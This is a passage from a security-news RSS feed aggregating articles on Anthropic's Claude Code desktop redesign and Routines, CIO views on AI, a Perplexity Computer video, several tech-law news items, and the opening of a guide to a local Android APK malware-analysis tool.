<content:encoded><![CDATA[<p>The transition from AI as a chatbot to AI as a workforce is no longer a theoretical projection; it has become the primary design philosophy for the modern developer's toolkit. </p><p>On April 14, 2026, Anthropic signaled this shift with a dual release: <a href="https://claude.com/blog/claude-code-desktop-redesign">a complete redesign of the Claude Code desktop app (for Mac and Windows) </a>and the launch of "<a href="https://claude.com/blog/introducing-routines-in-claude-code">Routines</a>" in research preview. </p><p>These updates suggest that for the modern enterprise, the developer's role is shifting from a solo practitioner to a high-level orchestrator managing multiple, simultaneous streams of work.</p><p>For years, the industry focused on "copilots"—single-threaded assistants that lived within the IDE and responded to the immediate line of code being written. Anthropic’s latest update acknowledges that the shape of "agentic work" has fundamentally changed. </p><p>Developers are no longer just typing prompts and waiting for answers; they are initiating refactors in one repository, fixing bugs in another, and writing tests in a third, all while monitoring the progress of these disparate tasks. The redesigned desktop application reflects this change through its central "Mission Control" feature: the new sidebar. </p><p>This interface element allows a developer to manage every active and recent session in a single view, filtering by status, project, or environment. It effectively turns the developer’s desktop into a command center where they can steer agents as they drift or review diffs before shipping. This represents a philosophical move away from "conversation" toward "orchestration".</p><h2><b>Routines: your new 'set and forget' option for repeating processes and tasks</b></h2><p>The introduction of "Routines" represents a significant architectural evolution for Claude Code. Previously, automation was often tied to the user's local hardware or manually managed infrastructure. </p><p>Routines move this execution to Anthropic’s web infrastructure, decoupling progress from the user's local machine.</p><p>This means a critical task—such as a nightly triage of bugs from a Linear backlog—can run at 2:00 AM without the developer's laptop being open.</p><p>These Routines are segmented into three distinct categories designed for enterprise integration:</p><ul><li><p><b>Scheduled Routines</b>: These function like a sophisticated cron job, performing repeatable maintenance like docs-drift scanning or backlog management on a cadence.</p></li><li><p><b>API Routines</b>: These provide dedicated endpoints and auth tokens, allowing enterprises to trigger Claude via HTTP requests from alerting tools like Datadog or CI/CD pipelines.</p></li><li><p><b>Webhook Routines</b>: Currently focused on GitHub, these allow Claude to listen for repository events and automatically open sessions to address PR comments or CI failures.</p></li></ul><p>For enterprise teams, these Routines come with structured daily limits: Pro users are capped at 5, Max at 15, and Team/Enterprise tiers at 25 routines per day, though additional usage can be purchased.</p><h2><b>Analysis: desktop GUI vs. Terminal</b></h2><p>The pivot toward a dedicated Desktop GUI for a tool that originated in the terminal (CLI) invites an analysis of the trade-offs for enterprise users.</p><p>The primary benefit of the new desktop app is high-concurrency visibility. In a terminal environment, managing four different AI agents working on four different repositories is a cognitive burden, requiring multiple tabs and constant context switching. </p><p>The desktop app’s drag-and-drop layout allows the terminal, preview pane, diff viewer, and chat to be arranged in a grid that matches the user's specific workflow.</p><p>Furthermore, the "Side Chat" feature (accessible via <code>⌘ + ;</code>) solves a common problem in agentic work: the need to ask a clarifying question without polluting the main task's history. This ensures that the agent's primary mission remains focused while the human operator gets the context they need. However, it is also available in the Terminal view via the<code> /btw</code> command.</p><p>Despite the GUI's benefits, the CLI remains the home of many developers. The terminal is lightweight and fits into existing shell-based automation. </p><p>Recognizing this, Anthropic has maintained parity: CLI plugins are supposed to work exactly the same in the desktop app as they do in the terminal. Yet in my testing, I was unable to get some of my third-party plugins to show up in the terminal or main view.</p><p>For pure speed and users who operate primarily within a single repository, the CLI avoids the resource overhead of a full GUI.</p><h2><b>How to use the new Claude Code desktop app view</b></h2><p>In practice, accessing the redesigned Claude Code desktop app requires a bit of digital hunting. </p><p>It's not a separate new application — instead, it is but one of three main views in the official Claude desktop app, accessible only by hovering over the "Chat" icon in the top-left corner to reveal the specific coding interfaces. </p><p>Once inside, the transition from a standard chat window to the "Claude Code" view is stark. The interface is dominated by a central conversational thread flanked by a session-management sidebar that allows for quick navigation between active and archived projects. </p><p>The addition of a new, subtle, hover-over circular indicator at the bottom showing how much context the user has used in their current session and weekly plan limits is nice, but again, a departure from third-party CLI plugins that can show this constantly to the user without having to take the extra step of hovering over.</p><p>Similarly, pop up icons for permissions and a small orange asterisk showing the time Claude Code has spent on responding to each prompt (working) and tokens consumed right in the stream is excellent for visibility into costs and activity. </p><p>While the visual clarity is high—bolstered by interactive charts and clickable inline links—the discoverability of parallel agent orchestration remains a hurdle. </p><p>Despite the promise of "many things in flight," attempting to run tests across multiple disparate project folders proved difficult, as the current iteration tends to lock the user into a single project focus at a time. </p><p>Unlike the Terminal CLI version of Claude Code, which defaults to asking the user to start their session in their user folder on Mac OS, the Claude Code desktop app asks for access to specific subfolder -- which can be helpful if you have already started a project, but not necessarily for starting work on a new one or multiple in parallel. </p><p>The most effective addition for the "vibe coding" workflow is the integrated preview pane, located in the upper-right corner. </p><p>For developers who previously relied on the terminal-only version of Claude Code, this feature eliminates the need to maintain separate browser windows or rely on third-party extensions to view live changes to web applications. </p><p>However, the desktop experience is not without friction. The integrated terminal, intended to allow for side-by-side builds and testing, suffered from notable latency, often failing to update in real-time with user input. For users accustomed to the near-instantaneous response of a native terminal, this lag can make the GUI feel like an "overkill" layer that complicates rather than streamlines the dev cycle.</p><p>Setting up the new Routines feature also followed a steep learning curve. The interface does not immediately surface how to initiate these background automations; discovery required asking Claude directly and referencing the internal documentation to find the <code>/schedule</code> command. </p><p>Once identified, however, the process was remarkably efficient. By using the CLI command and configuring connectors in the browser, a routine can be operational in under two minutes, running autonomously on Anthropic’s web infrastructure without requiring the desktop app to remain active.</p><p>The ultimate trade-off for the enterprise user is one of flexibility (standard Terminal/CLI view) versus integrated convenience (new Claude Code desktop app). </p><p>The desktop app provides a high-context "Plan" view and a readable narrative of the agent’s logic, which is undeniably helpful for complex, multi-step refactors. </p><p>Yet, the platform creates a distinct "walled garden" effect. While the terminal version of Claude Code offers a broader range of movement, the desktop app is strictly optimized for Anthropic’s models. </p><p>For the professional coder who frequently switches between Claude and other AI models to work around rate limits or seek different architectural perspectives, this model-lock may be a dealbreaker. For these power users, the traditional terminal interface remains the superior surface for maintaining a diverse and resilient AI stack.</p><h2><b>The enterprise verdict</b></h2><p>For the enterprise, the Desktop GUI is likely to become the standard for management and review, while the CLI remains the tool for execution. </p><p>The desktop app's inclusion of an in-app file editor and a faster diff viewer—rebuilt for performance on large changesets—makes it a superior environment for the "Review and Ship" phase of development. </p><p>It allows a lead developer to review an agent's work, make spot edits, and approve a PR without ever leaving the application.</p><h2><b>Philosophical implications for the future of AI-driven enterprise knowledge work</b></h2><p>Anthropic developer <a href="https://x.com/felixrieseberg/status/2044128194647994585?s=46">Felix Rieseberg noted on X</a> that this version was "redesigned from the ground up for parallel work," emphasizing that it has become his primary way to interact with the system. </p><p>This shift suggests a future where "coding" is less about syntax and more about managing the lifecycle of AI sessions.</p><p>The enterprise user now occupies the "orchestrator seat," managing a fleet of agents that can triage alerts, verify deploys, and resolve feedback automatically. </p><p>By providing the infrastructure to run these tasks in the cloud and the interface to monitor them on the desktop, Anthropic is defining a new standard for professional AI-assisted engineering.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How future CIOs may assess this period in AI history]]></title>
<description><![CDATA[Every generation of technology leaders eventually faces a moment when they look back and evaluate how a significant period of time or technology transformation was handled. For example, those who navigated the now ancient mainframe to client-server transition, the rise of the internet and the clo...]]></description>
<link>https://tsecurity.de/de/3434696/it-security-nachrichten/how-future-cios-may-assess-this-period-in-ai-history/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3434696/it-security-nachrichten/how-future-cios-may-assess-this-period-in-ai-history/</guid>
<pubDate>Wed, 15 Apr 2026 11:07:25 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Every generation of technology leaders eventually faces a moment when they look back and evaluate how a significant period of time or technology transformation was handled. For example, those who navigated the now ancient mainframe to client-server transition, the rise of the internet and the cloud revolution all faced the same fundamental question. “Did we make decisions based on a clear understanding of the path ahead or did we let the hype cycle noise drown out the signal? Today’s CIOs are facing that question with AI and may want to anticipate how future generations will view this time in history. Except this time, the stakes may well be higher than they have ever been.</p>



<p>Of course, future CIOs always have the benefit of hindsight.</p>



<p>For now, as today’s CIOs lead the future of AI, it helps to simultaneously keep in mind two different time horizons. The first is the near term, five to seven years out, and the second is a longer arc of 10 to 15 years from now. Each demands a different kind of leadership, and each will produce its own set of assumptions, insights and verdicts from future generations.</p>



<h2 class="wp-block-heading">The near-term verdict: From personal productivity to business transformation</h2>



<p>So far, AI has been successful at improving personal productivity of company employees and individuals. Programmers write code faster. Customer service teams resolve tickets more efficiently. Writers, me included, use AI as a capable editorial assistant.</p>



<p>For example, I have been writing a weekly blog since 2005, but only recently have I employed the chatbots as editors. They do a fantastic job cleaning up my original writing without losing my voice or the personal touch in the prose. The collaboration of me as an originator, and the chatbot as a grammar task master works well.</p>



<p>However, personal productivity is not the same as business transformation and that is a critical differentiator at this point in time when it comes to <a href="https://www.cio.com/article/4140647/the-ai-productivity-paradox-why-your-teams-are-busier-but-not-faster.html?utm=hybrid_search">AI in the enterprise</a>.</p>



<p>Part of the CIO’s job in moving from using AI from personal to enterprise-wide productivity is to look at their company and industry sector and identify where AI can be most transformative. And act with conviction in collaboration with executives across every function of the enterprise.</p>



<p>When future CIOs look back at this five-to-seven-year window, the pivotal question will be whether today’s technology leaders pushed AI beyond personal productivity to create compelling new products and services, business models and <a href="https://www.cio.com/article/4119553/enterprise-ai-investments-are-forging-ahead-despite-elusive-roi.html?utm=hybrid_search">generate new forms of value</a>.</p>



<h2 class="wp-block-heading">The longer arc: What 2036 will find primitive and what it will find prescient</h2>



<p>Looking a decade or more into the future, I think future CIOs will find two things striking about this period: One unsurprising, and one that is truly impressive.</p>



<p>The hype will not surprise them. Every transformative technology in history has been accompanied by breathless enthusiasm, speculative excess and a good deal of confusion. The dot-com boom is an obvious example. AI is similar in how the enthusiasm and hype has spilled beyond IT circles and into the mainstream. Those who lived through previous transformative cycles will recognize the parallels.</p>



<p>What I think will be truly impressive to the CIOs of 2036 is the pace at which large language models, chatbots and generative AI tools went from novelty to infrastructure. While the progress has been rapid by any historical measure, the <a href="https://www.cio.com/article/4134254/state-of-it-jobs-ai-sparks-rapidly-changing-market-for-skills.html?utm=hybrid_search">adoption curve</a> has been steeper than most anticipated.</p>



<p>From a less positive perspective, as they look back on this time, they will likely find the enormous amount of energy expended on debates about artificial general intelligence and artificial superintelligence to be a counterproductive waste of time.</p>



<p>These conversations have been a distraction from the more valuable work of exploring how AI can function as a powerful set of cognitive tools in close collaboration with human beings. The question of whether AI is “truly intelligent” or will ultimately “replace” humans is far less useful than the question of what AI can help us accomplish right now by working alongside us.</p>



<h2 class="wp-block-heading">The rising status of the CIO</h2>



<p>I am often asked whether the CIO title will even exist in fifteen years. My answer is not only will it exist, but that it will carry considerably more weight than it does today. The CIO who navigates this era well, serving as a trusted advisor on the strategic deployment of AI while cutting through the noise and the hype, will occupy a position of institutional importance comparable to the CFO. That is a role the finance function spent decades earning. AI is giving technology leaders the opportunity to earn the same standing, and faster.</p>



<h2 class="wp-block-heading">Bridging 2026 to the future through the human/AI connection</h2>



<p>When it comes to setting and executing on the AI path to the future, it’s critical to connect the human-AI relationship. The language I find most useful in this is rooted in collaboration and augmentation as opposed to AI tools as <a href="https://www.cio.com/article/4138743/push-to-replace-workers-with-ai-faces-backlash-even-from-management.html">worker replacements</a>.</p>



<p>History gives us reason for confidence here. The technologies that have mattered most, such as steam power, electricity, the computer and the internet, are all technologies that humans learned to deploy closely and purposefully across economies and societies.</p>



<p>AI will follow the same pattern in this century. The question is not whether humans remain central. They will. The question is which humans, in which organizations, are doing the serious work of figuring out how to deploy AI with purpose. This topic is one that I look forward to exploring at this year’s <a href="https://mitcio.com/" rel="nofollow">MIT Sloan CIO Symposium</a>.</p>



<p>As AI absorbs more of the routine cognitive work that currently occupies much of our professional lives, the most distinctly human value will concentrate in judgment, the capacity to decide how to use powerful technologies in ways that genuinely improve our economies and societies. That is not a small thing. It is, arguably, the most important thing.</p>



<p>I am optimistic about what that judgment, applied well, can produce. For example, over the next few decades, I expect AI to help us make transformative progress on some of the most intractable challenges in medicine: Cancer, dementia, autism and other conditions that have resisted our best efforts for generations. Those breakthroughs will not come from AI alone. They will come from sustained human-AI collaboration, with researchers and clinicians and technologists working together in ways that neither could manage separately.</p>



<p>That kind of collaboration, at scale, requires international cooperation. I am hopeful that we will achieve it. The challenges are complex, the stakes are high and the history of science and technology gives us examples of what cooperation can accomplish when the will is there. The research community already operates with this orientation. It is not the whole story, but it is a meaningful start.</p>



<h2 class="wp-block-heading">A letter to the CIO of 2036</h2>



<p>If I were writing a letter to a CIO stepping into the role in 2036, I think I would begin by telling them how envious I am.</p>



<p>I was fortunate enough to play a meaningful role in the evolution of computing about 50 years ago, and again with the internet roughly 30 years ago. Those were extraordinary moments to be working in technology. I believe what lies ahead in the next decade will be more extraordinary still. The opportunity to help guide the development and deployment of AI across economies and societies, to be one of the people who figures out how this technology serves human beings at scale, is a remarkable privilege.</p>



<p>To today’s CIOs: You are living inside that letter. The verdicts of 2036 are being written right now, in the decisions you make and the ones you defer. The question is not whether AI will be transformative. It will be. The question is whether you will be among those who led that transformation with clarity, seriousness and purpose.</p>



<p>I wish you all the very best on this very exciting journey.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><strong><a href="https://www.cio.com/expert-contributor-network/">Want to join?</a></strong></p>



<p><a href="https://www.cio.com/artificial-intelligence/"></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[i didn't want to like this....]]></title>
<description><![CDATA[Author: NetworkChuck - Bewertung: 305x - Views:3935 Try Perplexity Computer (I'm working with Perplexity on this one to give you an honest look): https://ntck.co/perplexity

Perplexity Computer is a $200/month AI system that orchestrates 19 frontier models, runs in the cloud while you sleep, and ...]]></description>
<link>https://tsecurity.de/de/3420845/it-security-video/i-didnt-want-to-like-this/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3420845/it-security-video/i-didnt-want-to-like-this/</guid>
<pubDate>Thu, 09 Apr 2026 16:48:06 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: NetworkChuck - Bewertung: 305x - Views:3935 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/G3jvn7n-68Y?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Try Perplexity Computer (I'm working with Perplexity on this one to give you an honest look): https://ntck.co/perplexity<br />
<br />
Perplexity Computer is a $200/month AI system that orchestrates 19 frontier models, runs in the cloud while you sleep, and builds real apps from a single prompt. I built my own AI system — 103 skills, multiple models, AI employees — and didn't want to like it. But after building 7 real projects from my phone in Japan, I have to be honest about what happened.<br />
<br />
In this video, you'll learn how Perplexity Computer works under the hood — Firecracker micro VMs, multi-model orchestration, sandboxed sub-agents — and see real projects built from scratch: a gaming website, a cult investigation dashboard, a self-improving Japanese learning app, and more. Whether you're evaluating AI coding tools or looking for the fastest way to turn ideas into real apps, this honest review covers the good, the bad, and the real credit costs.<br />
<br />
---<br />
<br />
Join the NetworkChuck Academy!: https://ntck.co/NCAcademy<br />
<br />
---<br />
<br />
RESOURCES / LINKS:<br />
🌐 Perplexity Computer: https://ntck.co/perplexity<br />
💻 Keith Arcade (play the games I built): https://keitharcade.networkchuck.video<br />
💻 Konbini Quest (Japanese convenience store RPG): https://konbiniquest.networkchuck.video<br />
💻 Yellow Deli Files (the cult investigation): https://yellowdelifiles.networkchuck.video<br />
💻 Blockbuster POS Simulator: https://blockbuster.networkchuck.video<br />
📖 Perplexity Computer Launch Blog: https://www.perplexity.ai/hub/blog/computer<br />
📺 My AI Employee video (OpenClaw): https://youtu.be/T-HZHO_PQPY<br />
📺 My Personal AI Infrastructure video: https://youtu.be/MsQACpcuTkU<br />
<br />
---<br />
<br />
TIMESTAMPS:<br />
0:00 - I built my own AI system and didn't want to like this<br />
2:18 - What is Perplexity Computer and how does it work<br />
3:00 - Building a Blockbuster POS system in one prompt<br />
3:39 - How the orchestrator routes your prompts to 19 models<br />
4:46 - Firecracker micro VMs and sandboxed sub-agents<br />
6:36 - Self-improving apps that run while you sleep<br />
7:43 - Building a full gaming website for my kids<br />
9:44 - Why my ideas started pouring out<br />
11:03 - I accidentally found a cult in Japan<br />
12:30 - How much Perplexity Computer actually costs<br />
14:06 - Everything else I built with Perplexity Computer<br />
14:50 - What my kids built on their own<br />
15:25 - My honest verdict on Perplexity Computer<br />
<br />
---<br />
<br />
**Sponsored by Perplexity<br />
<br />
---<br />
<br />
SUPPORT NETWORKCHUCK:<br />
☕☕ COFFEE and MERCH: https://ntck.co/coffee<br />
<br />
READY TO LEARN??<br />
🔥🔥Join the NetworkChuck Academy!: https://ntck.co/NCAcademy<br />
📚 CCNA Course: https://ntck.co/ccna<br />
<br />
FOLLOW ME EVERYWHERE:<br />
Instagram: https://www.instagram.com/networkchuck/<br />
X/Twitter: https://x.com/networkchuck<br />
Facebook: https://www.facebook.com/NetworkChuck/<br />
Join the Discord server: https://ntck.co/discord<br />
<br />
Some links in this description are affiliate links. If you buy through them, I may earn a small commission at no extra cost to you.<br />
<br />
#perplexitycomputer #aitools #networkchuck<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[On Microsoft’s Lousy Cloud Security]]></title>
<description><![CDATA[ProPublica has a scoop: In late 2024, the federal government’s cybersecurity evaluators rendered a troubling verdict on one of Microsoft’s biggest cloud computing offerings. The tech giant’s “lack of proper detailed security documentation” left reviewers with a “lack of confidence…
Read more →
Th...]]></description>
<link>https://tsecurity.de/de/3420120/it-security-nachrichten/on-microsofts-lousy-cloud-security/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3420120/it-security-nachrichten/on-microsofts-lousy-cloud-security/</guid>
<pubDate>Thu, 09 Apr 2026 13:08:08 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>ProPublica has a scoop: In late 2024, the federal government’s cybersecurity evaluators rendered a troubling verdict on one of Microsoft’s biggest cloud computing offerings. The tech giant’s “lack of proper detailed security documentation” left reviewers with a “lack of confidence…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/on-microsofts-lousy-cloud-security/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/on-microsofts-lousy-cloud-security/">On Microsoft’s Lousy Cloud Security</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[On Microsoft’s Lousy Cloud Security]]></title>
<description><![CDATA[ProPublica has a scoop:
In late 2024, the federal government’s cybersecurity evaluators rendered a troubling verdict on one of Microsoft’s biggest cloud computing offerings.
The tech giant’s “lack of proper detailed security documentation” left reviewers with a “lack of confidence in assessing th...]]></description>
<link>https://tsecurity.de/de/3420092/reverse-engineering/on-microsofts-lousy-cloud-security/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3420092/reverse-engineering/on-microsofts-lousy-cloud-security/</guid>
<pubDate>Thu, 09 Apr 2026 12:54:55 +0200</pubDate>
<category>🕵️ Reverse Engineering</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>ProPublica has a <a href="https://arstechnica.com/information-technology/2026/03/federal-cyber-experts-called-microsofts-cloud-a-pile-of-shit-approved-it-anyway/">scoop</a>:</p>
<blockquote><p>In late 2024, the federal government’s cybersecurity evaluators rendered a troubling verdict on one of Microsoft’s biggest cloud computing offerings.</p>
<p>The tech giant’s “lack of proper detailed security documentation” left reviewers with a “lack of confidence in assessing the system’s overall security posture,” according to an internal government report reviewed by ProPublica.</p>
<p>Or, as one member of the team put it: “The package is a pile of shit.”</p>
<p>For years, reviewers said, Microsoft had tried and failed to fully explain how it protects sensitive information in the cloud as it hops from server to server across the digital terrain. Given that and other unknowns, government experts couldn’t vouch for the technology’s security...</p></blockquote>]]></content:encoded>
</item>
<item>
<title><![CDATA[Jury Finds Meta, YouTube Liable in Addiction Case]]></title>
<description><![CDATA[A landmark U.S. court verdict has held Meta and YouTube accountable for designing addictive social media platforms that harmed a young user. This ruling could… The post Jury Finds Meta, YouTube Liable in Addiction Case appeared first on Panda Security…
Read more →
The post Jury Finds Meta, YouTub...]]></description>
<link>https://tsecurity.de/de/3416385/it-security-nachrichten/jury-finds-meta-youtube-liable-in-addiction-case/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3416385/it-security-nachrichten/jury-finds-meta-youtube-liable-in-addiction-case/</guid>
<pubDate>Wed, 08 Apr 2026 09:21:44 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A landmark U.S. court verdict has held Meta and YouTube accountable for designing addictive social media platforms that harmed a young user. This ruling could… The post Jury Finds Meta, YouTube Liable in Addiction Case appeared first on Panda Security…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/jury-finds-meta-youtube-liable-in-addiction-case/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/jury-finds-meta-youtube-liable-in-addiction-case/">Jury Finds Meta, YouTube Liable in Addiction Case</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Supreme Court Wipes Piracy Liability Verdict Against Grande Communications]]></title>
<description><![CDATA[An anonymous reader quotes a report from TorrentFreak: Following on the heels of the landmark Cox v. Sony ruling, the Supreme Court has vacated the contributory copyright infringement verdict against ISP Grande Communications, ordering the Fifth Circuit to reconsider its decision in light of the ...]]></description>
<link>https://tsecurity.de/de/3415310/it-security-nachrichten/supreme-court-wipes-piracy-liability-verdict-against-grande-communications/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3415310/it-security-nachrichten/supreme-court-wipes-piracy-liability-verdict-against-grande-communications/</guid>
<pubDate>Tue, 07 Apr 2026 22:06:14 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[An anonymous reader quotes a report from TorrentFreak: Following on the heels of the landmark Cox v. Sony ruling, the Supreme Court has vacated the contributory copyright infringement verdict against ISP Grande Communications, ordering the Fifth Circuit to reconsider its decision in light of the new precedent. [...] The order (PDF) effectively removes the case from the Supreme Court docket, urging the Fifth Circuit Court of Appeals to take another look at its decision in light of the new ruling.
 
Given the similarities between the two cases, it is no surprise that the Supreme Court came to this conclusion. It is now up to the Fifth Circuit to revisit whether Grande's conduct meets the intent threshold that was established in Cox. That is a significantly higher bar than the one applied in the original verdict, which found that continuing to provide service to known infringers was enough to establish material contribution.
 
The music companies previously said they sent over a million copyright infringement notices, but that Grande failed to terminate even a single subscriber account in response. However, without proof of active inducement, these absolute numbers carry less weight now. Whether this translates into a win for Grande on remand remains to be seen. For now, however, the original $47 million verdict is further away than ever.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Supreme+Court+Wipes+Piracy+Liability+Verdict+Against+Grande+Communications%3A+https%3A%2F%2Fyro.slashdot.org%2Fstory%2F26%2F04%2F07%2F1750202%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fyro.slashdot.org%2Fstory%2F26%2F04%2F07%2F1750202%2Fsupreme-court-wipes-piracy-liability-verdict-against-grande-communications%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://yro.slashdot.org/story/26/04/07/1750202/supreme-court-wipes-piracy-liability-verdict-against-grande-communications?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Android APK Analysis Tool: AI-Powered Static Malware Analysis in Your Terminal]]></title>
<description><![CDATA[A practical guide to analyzing Android applications with Claude, OpenAI, Google Gemini, and VirusTotal — no sandbox required.Table of ContentsWhy Another APK Analysis Tool?InstallationConfigurationChoosing Your AI ProviderAnalyzing a Single APKCommon Usage PatternsOutputReading the Risk ScorePrac...]]></description>
<link>https://tsecurity.de/de/3415064/hacking/android-apk-analysis-tool-ai-powered-static-malware-analysis-in-your-terminal/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3415064/hacking/android-apk-analysis-tool-ai-powered-static-malware-analysis-in-your-terminal/</guid>
<pubDate>Tue, 07 Apr 2026 20:08:33 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h4><em>A practical guide to analyzing Android applications with Claude, OpenAI, Google Gemini, and VirusTotal — no sandbox required.</em></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zU2FoAY2_TRMlNKrgvKhOw.png"></figure><h2>Table of Contents</h2><ol><li><a href="https://infosecwriteups.com/android-apk-analysis-tool-ai-powered-static-malware-analysis-in-your-terminal-4beb239dad12#38b4"><strong>Why Another APK Analysis Tool?</strong></a></li><li><a href="https://infosecwriteups.com/android-apk-analysis-tool-ai-powered-static-malware-analysis-in-your-terminal-4beb239dad12#11db"><strong>Installation</strong></a></li><li><a href="https://infosecwriteups.com/android-apk-analysis-tool-ai-powered-static-malware-analysis-in-your-terminal-4beb239dad12#914c"><strong>Configuration</strong></a></li><li><a href="https://infosecwriteups.com/android-apk-analysis-tool-ai-powered-static-malware-analysis-in-your-terminal-4beb239dad12#329a"><strong>Choosing Your AI Provider</strong></a></li><li><a href="https://infosecwriteups.com/android-apk-analysis-tool-ai-powered-static-malware-analysis-in-your-terminal-4beb239dad12#beda"><strong>Analyzing a Single APK</strong></a></li><li><a href="https://infosecwriteups.com/android-apk-analysis-tool-ai-powered-static-malware-analysis-in-your-terminal-4beb239dad12#24ae"><strong>Common Usage Patterns</strong></a></li><li><a href="https://infosecwriteups.com/android-apk-analysis-tool-ai-powered-static-malware-analysis-in-your-terminal-4beb239dad12#dc2a"><strong>Output</strong></a></li><li><a href="https://infosecwriteups.com/android-apk-analysis-tool-ai-powered-static-malware-analysis-in-your-terminal-4beb239dad12#9baa"><strong>Reading the Risk Score</strong></a></li><li><a href="https://infosecwriteups.com/android-apk-analysis-tool-ai-powered-static-malware-analysis-in-your-terminal-4beb239dad12#dd3f"><strong>Practical Tips</strong></a></li><li><a href="https://infosecwriteups.com/android-apk-analysis-tool-ai-powered-static-malware-analysis-in-your-terminal-4beb239dad12#98cb"><strong>Architecture Overview</strong></a></li><li><a href="https://infosecwriteups.com/android-apk-analysis-tool-ai-powered-static-malware-analysis-in-your-terminal-4beb239dad12#a163"><strong>Limitations and What This Tool Is Not</strong></a></li><li><a href="https://infosecwriteups.com/android-apk-analysis-tool-ai-powered-static-malware-analysis-in-your-terminal-4beb239dad12#393d"><strong>Real Cases</strong></a></li><li><a href="https://infosecwriteups.com/android-apk-analysis-tool-ai-powered-static-malware-analysis-in-your-terminal-4beb239dad12#b77e"><strong>Conclusion</strong></a></li></ol><p><a href="https://github.com/anpa1200/Android-Malware-Analysis">GitHub - anpa1200/Android-Malware-Analysis</a></p><h3>Why Another APK Analysis Tool?</h3><p>Most Android malware analysis workflows look like this: upload the APK to a cloud sandbox, wait a few minutes, read a generic report, repeat. That works for known samples, but it breaks down when you’re dealing with novel obfuscated malware, internal corporate builds you can’t upload, or when you just need answers fast.</p><p>This tool takes a different approach: <strong>100% local static analysis</strong> combined with your choice of AI provider to produce a structured, actionable report directly in your terminal. No uploads required, no sandboxes, no web dashboard.</p><h4>What you get in a single run:</h4><ul><li>Decoded manifest, permissions, components, certificates</li><li>Network IOCs (URLs, IPs, domains, emails)</li><li>Entropy-based detection of encrypted payloads</li><li>YARA rule matching against known malware signatures</li><li>Semantic component name analysis (e.g. ServiceRAT → C2 capability)</li><li>MITRE ATT&amp;CK technique mapping</li><li>VirusTotal cross-validation (optional)</li><li>AI-generated executive summary + Frida hooking script</li></ul><h3>Installation</h3><p>Requirements: Python 3.10+, Git.</p><pre>git clone https://github.com/anpa1200/Android-Malware-Analysis<br>cd android_malware_analysis<br>python3 -m venv venv<br>source venv/bin/activate<br>pip install -r requirements.txt</pre><blockquote><strong><em>Note:</em></strong><em> The tool detects missing dependencies automatically. If you run </em><em>./analyzer.py from your base Python environment, it will transparently re-execute itself inside the venv — no manual activation needed.</em></blockquote><h3>Configuration</h3><p>Create config.yml in the project directory (or ~/.android_malware_analyzer.yml for global settings):</p><pre># AI provider: auto, claude, openai, google, ollama<br># "auto" tries Claude → OpenAI → Google → Ollama<br>provider: auto<br># Uncomment to pin a specific model:<br># model: claude-opus-4-6<br># API key (or set the env var instead):<br># api_key: sk-ant-...<br># VirusTotal key - silently skipped if absent:<br># vt_key: your-vt-key-here<br>output_dir: reports</pre><p>CLI flags always override the config file. Environment variables are also supported:<br><br>ANTHROPIC_API_KEY | Claude (Anthropic)<br>OPENAI_API_KEY | OpenAI (GPT-4o) <br>GOOGLE_API_KEY | Google Gemini <br>VT_API_KEY or VIRUSTOTAL_API_KEY | VirusTotal</p><h3>Choosing Your AI Provider</h3><p>The --provider / -p flag accepts: auto, claude, openai, google, ollama.</p><p><strong>auto (default)</strong> — tries providers in order: Claude → OpenAI → Google → Ollama. If no API key is found for any cloud provider, it falls back to Ollama with a visible warning.</p><pre># Use Claude (best results for malware reasoning)<br>./analyzer.py analyze suspicious.apk -p claude<br># Use OpenAI GPT-4o<br>./analyzer.py analyze suspicious.apk -p openai<br># Use Google Gemini Flash (fast + free tier 